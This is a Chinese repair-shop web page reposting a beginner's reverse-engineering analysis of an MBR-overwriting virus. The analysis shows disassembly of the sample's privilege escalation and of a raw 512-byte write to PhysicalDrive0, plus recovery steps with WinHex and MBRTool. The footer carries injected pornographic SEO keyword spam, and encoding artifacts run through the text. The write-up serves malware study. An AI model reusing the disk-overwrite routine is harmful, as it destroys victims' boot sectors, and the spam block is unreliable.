錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項(xiàng)目 服務(wù)報(bào)價(jià) 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
關(guān)于MBR病毒樣本分析

作者: 佚名  日期:2017-07-06 08:22:30   來源: 本站整理

1  MBR病毒樣本分析
1.1  基本信息
樣本類型:MBR感染樣本
大小:36864 字節(jié) 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
殼種類:無殼
編譯器信息:VC++6.0
簡(jiǎn)介:該樣本是一個(gè)修改MBR的病毒。
感染癥狀:感染該病毒后,剛開始并不會(huì)發(fā)現(xiàn)有什么異常情況,但是當(dāng)你重啟電腦后,你就會(huì)發(fā)現(xiàn)電腦啟動(dòng)停留在一個(gè)黑色界面,

帶著惡意文字,在WIN7虛擬機(jī)中運(yùn)行過后重啟系統(tǒng)的結(jié)果,感染后重啟電腦如圖4-1所示
 
                         圖4-1感染病毒效果圖
文件變化:無
注冊(cè)表變化:無
網(wǎng)絡(luò)行為:無
1.2  詳細(xì)分析
(1)首先總體看一下病毒程序布局
將病毒文件載入IDA,首先觀察IDA 的Functions window 界面,如圖4-2所示:
 
圖4-2 IDA FunctionWindow圖


因?yàn)樵摬《疚募遣捎肰C++6.0編譯的,看到main函數(shù),就試著點(diǎn)開看一下,雙擊main函數(shù)后,在IDA中看到如下匯編代碼,

該段介紹的是該病毒程序的主函數(shù),包含兩個(gè)子模塊:

[C++] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push    1               ; int
push    offset aSedebugprivile ; "SeDebugPrivilege" 
call    sub_401000
add     esp, 8
jmp     sub_401090
_main endp


(2)模塊一分析
匯編語言函數(shù)是以:函數(shù)名 proc(參數(shù)列表) 這樣的格式,由此看出此函數(shù)有可能是病毒程序的主函數(shù),
push    offset aSedebugprivile; "SeDebugPrivilege";
這句匯編代碼后面提示此處壓棧的字符是“SeDebugPrivilege”,這是Windows的字符權(quán)限名稱,一般用在進(jìn)程提權(quán)中使用,

然后看下面三句匯編代碼:

[Asm] 純文本查看 復(fù)制代碼
1
2
3
push    1             ; int
push    offset aSedebugprivile ; "SeDebugPrivilege" 
call    sub_4010002.


首先將兩個(gè)值壓棧,其中一個(gè)值還與進(jìn)程提權(quán)有關(guān),下面一個(gè)call,指向了另一個(gè)位置,想到這里,

這個(gè)call里面的操作估計(jì)與進(jìn)程提權(quán)相關(guān),在IDA中雙擊call跟進(jìn),查看call的內(nèi)容,為了直觀這里切換到IDA 的Graph view,雙擊call出現(xiàn)的內(nèi)容,如圖4-3:


 
圖4-3 IDA call  sub_401000 Graph View圖


進(jìn)入這個(gè)界面,該從哪里才下手呢,剛才分析,這個(gè)call所做的操作與進(jìn)程提權(quán)相關(guān),要想提升一個(gè)進(jìn)程的權(quán)限,那么首先要做的第一步是得到當(dāng)前進(jìn)程的句柄,查看call進(jìn)來的匯編代碼發(fā)現(xiàn)一個(gè)API GetCurrentProcess,這個(gè)API是獲取當(dāng)前進(jìn)程的句柄的,這就正確了,設(shè)想是正確的,就從這里下手,如下匯編代碼,主要介紹兩個(gè)進(jìn)程提權(quán)的API函數(shù)GetCurrentProcess和OpenProcessToken

[Asm] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
9
push    esi
push    eax            ; TokenHandle
push    28h            ; DesiredAccess
mov     esi, 1
call    ds:GetCurrentProcess
push    eax            ; ProcessHandle
call    ds:OpenProcessToken       
test    eax, eax
jnz     short loc_401028

上面匯編代碼,就是兩個(gè)函數(shù),第一個(gè)先將三個(gè)參數(shù)壓棧,調(diào)用GetCurrentProcess函數(shù)獲取當(dāng)前進(jìn)程句柄,隨后將句柄返回寄存器eax(匯編語言的函數(shù)返回值默認(rèn)存儲(chǔ)在寄存器eax中),隨后call    ds:OpenProcessToken 調(diào)用OpenProcessToken函數(shù),獲取進(jìn)程令牌句柄,并將返回值保存在eax中。test    eax, eaxjnz     short loc_401028這兩條語句,先test eax,eax會(huì)改變標(biāo)志位ZF,使ZF不等于1,jnz表示標(biāo)志位ZF不等于1時(shí),跳轉(zhuǎn),因此此處跳轉(zhuǎn)到shortloc_401028處。在圖4-3中右下角那一個(gè)模塊中,下邊看一下匯編代碼,主要功能修改進(jìn)程權(quán)限
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
loc_401028:
mov     ecx, [esp+18h+arg_4]
mov     eax, [esp+18h+lpName]
neg     ecx
lea     edx, [esp+18h+NewState.Privileges]
mov     [esp+18h+NewState.PrivilegeCount], esi
sbb     ecx, ecx
push    edx            ; lpLuid
and     ecx, 2
push    eax            ; lpName
push    0              ; lpSystemName
mov     [esp+24h+NewState.Privileges.Attributes], ecx
call    ds:LookupPrivilegeValueA
mov     edx, [esp+18h+hObject]
push    0              ; ReturnLength
push    0              ; PreviousState
lea     ecx, [esp+20h+NewState]
push    10h            ; BufferLength
push    ecx            ; NewState
push    0              ; DisableAllPrivileges
push    edx            ; TokenHandle
call    ds:AdjustTokenPrivileges
call    ds:GetLastError
test    eax, eax

在前邊敘述中,已經(jīng)獲取當(dāng)前進(jìn)程的進(jìn)程令牌,根據(jù)提升進(jìn)程權(quán)限的操作,下一步要做的操作就是要查詢進(jìn)程的權(quán)限。簡(jiǎn)單分析之后,看一下上邊代碼,其中兩個(gè)關(guān)鍵的call是需要注意的:call    ds:LookupPrivilegeValueA這個(gè)API函數(shù)就是查詢進(jìn)程權(quán)限的,與提升進(jìn)程權(quán)限的步驟完全一致,根據(jù)VC++函數(shù)壓棧的順序第一個(gè)參數(shù)到第三個(gè)參數(shù)的壓入順序就是:push    0              ; lpSystemNamepush    eax             ; lpNamepush    edx             ; lpLuid然后call,直接調(diào)用該函數(shù),這是第一個(gè)call call    ds:AdjustTokenPrivileges通過查看進(jìn)程的權(quán)限,判斷進(jìn)程是否可以對(duì)磁盤進(jìn)行寫操作,如果沒有,則查找相關(guān)權(quán)限的LUID,賦予該進(jìn)程相應(yīng)權(quán)限,具體不再贅述。
(3)模塊2分析
前面模塊一中介紹的是進(jìn)程提權(quán)部分,也就是main中的第一個(gè)關(guān)鍵點(diǎn)call sub_401000,下面來看一下main中第二個(gè)關(guān)鍵點(diǎn):
[Asm] 純文本查看 復(fù)制代碼
1
2
add     esp, 8
jmp     sub_401090

在第一個(gè)call    sub_401000這個(gè)子模塊中,一共兩個(gè)參數(shù)壓棧
[Asm] 純文本查看 復(fù)制代碼
1
2
push    1  ; int
push    offset aSedebugprivile ; "SeDebugPrivilege"

在函數(shù)結(jié)束時(shí),需要將堆棧還原,32位的兩個(gè)參數(shù)正好8個(gè)字節(jié),因此Add esp,8,  讓棧頂指針增加8字節(jié),棧在開辟儲(chǔ)存空間是向下增長(zhǎng)的。堆棧平衡以后,程序直接無條件跳轉(zhuǎn)到 sub_401090處,在IDA中直接雙擊,切換到 sub_401090處,為了看著比較直觀,先來看一下整體視圖,如圖4-4,4-5所示:
 

圖4-4 IDA sub_401090 處代碼圖


 
圖4-5 IDA檢測(cè)寫入數(shù)據(jù)圖


通過對(duì)main中第一個(gè)call模塊進(jìn)行分析,病毒程序已經(jīng)提升進(jìn)程權(quán)限,對(duì)于下一步,估計(jì)會(huì)對(duì)硬盤進(jìn)行寫入操作。剛切換到sub_401090位置,并不知道到程序會(huì)怎么做,大致瀏覽一下代碼,會(huì)發(fā)現(xiàn)\\\\.\\PHYSICALDRIVE0字樣,這也說明不了什么,只能說明有可能是想獲取本地磁盤的信息,但是下面還有所發(fā)現(xiàn),看如下幾行代碼,主要介紹CreateFileA函數(shù)
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
push    0              ; hTemplateFile           參數(shù)7
rep stosd
stosw
push    0              ; dwFlagsAndAttributes    參數(shù)6
push    3              ; dwCreationDisposition   參數(shù)5
stosb
push    0              ; lpSecurityAttributes    參數(shù)4
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]
push    3              ; dwShareMode             參數(shù)3
push    0C0000000h     ; dwDesiredAccess         參數(shù)2
rep movsd
push    offset FileName ; \\\\.\\PHYSICALDRIVE0   參數(shù)1
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh
call    ds:CreateFileA            

調(diào)用函數(shù)55h 0AAh 這個(gè)對(duì)磁盤主引導(dǎo)區(qū)比較熟悉的應(yīng)該知道,這是磁盤主引導(dǎo)扇區(qū)(MBR)的結(jié)束表示,一般是第一扇區(qū)的511和512字節(jié)處,就像PE文件頭的標(biāo)識(shí)00004550一樣,以上匯編代碼中,其實(shí)只是實(shí)現(xiàn)了一個(gè)功能就是在磁盤下創(chuàng)建文件,從參數(shù)7到參數(shù)1是CreateFileA函數(shù)的7個(gè)參數(shù),順序也按照調(diào)用順序進(jìn)行排列,具體參數(shù)就不再細(xì)說了,調(diào)用CreateFileA函數(shù)取得設(shè)備句柄(這個(gè)設(shè)備句柄后面會(huì)用到),通過對(duì)返回值進(jìn)行檢測(cè),判斷函數(shù)是否成功,成功的話進(jìn)行進(jìn)一步操作,如下匯編代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
mov     esi, eax
cmp     esi, 0FFFFFFFFh
jnz     short loc_4010F4

這里將函數(shù)的返回值儲(chǔ)存在esi中,也就是設(shè)備的句柄,具體有什么用處,繼續(xù)往后邊分析。一個(gè)jnz條件跳轉(zhuǎn)指明了一個(gè)方向,對(duì)于這個(gè)跳轉(zhuǎn)與否,在IDA中有兩個(gè)方向,如圖4-6所示:  
圖4-6 IDA jnz short loc_4010F4 解釋圖
如果文件創(chuàng)建成功則跳轉(zhuǎn)至loc_4010F4處,否則執(zhí)行另一塊操作,此時(shí)為了清晰地看一下程序的運(yùn)行細(xì)節(jié),將病毒程序載入到OD中,如圖4-7所示,
進(jìn)行分析。

 
圖4-7 OD jnz short loc_4010F4 解釋圖

載入OD后,ALT+C到CPU界面,右鍵查看所有字符串參考,跟以前的分析,直接雙擊所查找出來的\\\\.\\PHYSICALDRIVE0字符,雙擊進(jìn)入如圖4-雙擊進(jìn)入如圖4-7的界面,然后看到CreateFile函數(shù),在call該函數(shù)的前后下斷,下軟件斷點(diǎn)就可以了,然后F9,讓程序運(yùn)行至第一個(gè)斷點(diǎn)處,如圖4-7紅色004010D4處,然后F8單步往下走(不要F7,F(xiàn)7進(jìn)入函數(shù)體內(nèi)沒有其它需要的信息,這里就不截圖展示了),此時(shí)主義觀擦右上角寄存器信息,注意ESI和EAX如圖4-7右上角紅色方框處,F(xiàn)8逐步將程序運(yùn)行至004010E7處,可以先看ZF標(biāo)志位(OD中以字母Z在右上角顯示),此時(shí)也可以看到圖4-7左下角出現(xiàn)"跳轉(zhuǎn)已實(shí)現(xiàn)"字樣,程序已經(jīng)跳轉(zhuǎn)至loc_4010F4處,此時(shí)留意ESI和EAX兩個(gè)寄存器,此時(shí)它們的值是44h,它代表取得設(shè)備句柄成功。其實(shí)在創(chuàng)建設(shè)備句柄之前,要寫入MBR的字符數(shù)據(jù)已經(jīng)可以在內(nèi)存中查到,如下代碼:
[C++] 純文本查看 復(fù)制代碼
1
2
3
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]


觀察上邊代碼,[esp+220h+Buffer]這個(gè)地址開始的數(shù)據(jù)后來被檢測(cè)到包含MBR引導(dǎo)扇區(qū)的結(jié)束標(biāo)志55H AAH,如下代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh

因此在內(nèi)存中轉(zhuǎn)到406030這個(gè)位置,查看數(shù)據(jù),如圖4-8所示。此時(shí)再把視線回歸到IDA中如圖4-3所示,既然程序跳轉(zhuǎn)到loc_4010F4處,下面具來分析一下loc_4010F4處的代碼,來了解病毒程序下面如何操作,上面通過CreateFile取得文件設(shè)備句柄,并將設(shè)備句柄存取到ESI中,然后進(jìn)一步操作,如下代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
lea     ecx, [esp+210h+NumberOfBytesWritten]
push    0              ; lpOverlapped
push    ecx            ; lpNumberOfBytesWritten
lea     edx, [esp+218h+Buffer]
push    200h           ; nNumberOfBytesToWrite      寫入數(shù)據(jù)位512字節(jié)
push    edx            ; lpBuffer
push    esi            ; hFile
call    ds:WriteFile

調(diào)用WriteFile函數(shù),將512字節(jié)的 數(shù)據(jù)寫入hFile(即CreateFile創(chuàng)建的文件中)中,下面利用DeviceIoControl與設(shè)備進(jìn)行I/O,上面已經(jīng)創(chuàng)建好的設(shè)備句柄保存在ESI中,詳細(xì)如下代碼:
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
lea     eax, [esp+210h+BytesReturned]    ;數(shù)據(jù)所在位置
push    0              ; lpOverlappedpush    eax             ; lpBytesReturned  驅(qū)動(dòng)程序?qū)嶋H返回給應(yīng)用程序的數(shù)據(jù)字節(jié)數(shù)地址
push    0              ; nOutBufferSize
push    0              ; lpOutBuffer
push    0              ; nInBufferSize
push    0              ; lpInBuffer
push    9001Ch         ; dwIoControlCode  I/O和文件系統(tǒng)數(shù)據(jù)緩沖區(qū)進(jìn)行數(shù)據(jù)傳遞的方式
push    esi            ; hDevice          設(shè)備句柄
call    edi ; DeviceIoControl   
push    esi            ; hObject
call    ds:CloseHandle[esp+210h+BytesReturned] ;表示數(shù)據(jù)所在位置,上面參數(shù)有相關(guān)解釋,通過DeviceIoControl將數(shù)據(jù)通過驅(qū)動(dòng)程序?qū)懭朐O(shè)備,最后關(guān)閉設(shè)備句柄
push    esi            ; hObject
call    ds:CloseHandle



    
圖4-8 IDA 406030 處16進(jìn)制數(shù)據(jù)數(shù)據(jù)查詢圖


(4)利用WinHex提取出被感染后的MBR數(shù)據(jù)
該工具里面的工具欄里面提供有打開磁盤文件擴(kuò)展,可以選擇以16進(jìn)制或者10進(jìn)制顯示,如圖4-9是正常情況下的MBR的內(nèi)容:
 


圖4-9 WinHex打開磁盤扇區(qū)文件圖打開之后會(huì)顯示如界面,選擇物理驅(qū)動(dòng)器,如圖4-10所示:
 

圖4-10 WinHex選擇操作物理驅(qū)動(dòng)器圖


打開磁盤文件后,選中磁盤的第一個(gè)扇區(qū),即MBR,右鍵->復(fù)制模塊->置入新文件保存起來,如圖4-11所示:
 
4-11
WinHex
保存磁盤扇區(qū)文件圖
 
 
1.1  病毒的修復(fù)如果在分析之前對(duì)MBR有備份,這樣可以容易處理一些,有一款工具叫MBRTool,可以對(duì)MBR進(jìn)行簡(jiǎn)單的備份和恢復(fù): 

說明:因?yàn)楸救嗽诖祟I(lǐng)域還是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html  發(fā)的一篇分析文章后決定自己嘗試一下,因?yàn)閭(gè)人技術(shù)太少,剛涉足此方向,新手上路,望各位大大給予指點(diǎn)

1111.png (680.15 KB, 下載次數(shù): 2)

1111.png


熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點(diǎn)不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請(qǐng)求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對(duì)講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動(dòng)時(shí)提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報(bào)修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號(hào):遼ICP備2023002984號(hào)-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 亚洲AV色吊丝无码| 久久久久久国产精品免费无码| 国产成人无码A区精油按摩 | 亚洲欧洲日产国码无码网站| 亚洲日产无码中文字幕| 亚洲av无码片区一区二区三区| 亚洲AV无码一区二区三区电影| 国产成人无码av片在线观看不卡| 无码人妻一区二区三区免费n鬼沢| 精品国产性色无码AV网站| 亚洲精品无码乱码成人| 18禁无遮挡无码网站免费| 日韩国产精品无码一区二区三区 | 亚洲精品无码av天堂| 亚洲av无码专区在线| 亚洲AV无码精品色午夜果冻不卡| 亚无码乱人伦一区二区| 久久精品aⅴ无码中文字字幕不卡 久久精品aⅴ无码中文字字幕重口 | 无码精品人妻一区二区三区漫画| 成人免费a级毛片无码网站入口| 亚洲AV日韩AV永久无码绿巨人| 免费无遮挡无码永久在线观看视频| 少妇人妻偷人精品无码视频新浪| 波多野结衣AV无码久久一区| 无码中文av有码中文a| 精品久久久久久无码专区| 中文字幕乱码人妻无码久久 | 国产精品无码亚洲精品2021| 亚洲熟妇无码爱v在线观看| 中文字幕丰满乱子伦无码专区| 人妻丰满熟AV无码区HD| 18禁网站免费无遮挡无码中文| 午夜无码伦费影视在线观看| 亚洲午夜无码久久久久| 日本无码色情三级播放| 高潮潮喷奶水飞溅视频无码| 国产AV一区二区三区无码野战| 欧洲精品无码一区二区三区在线播放| 国产成人无码网站| 国产高清无码二区| 亚洲日韩v无码中文字幕|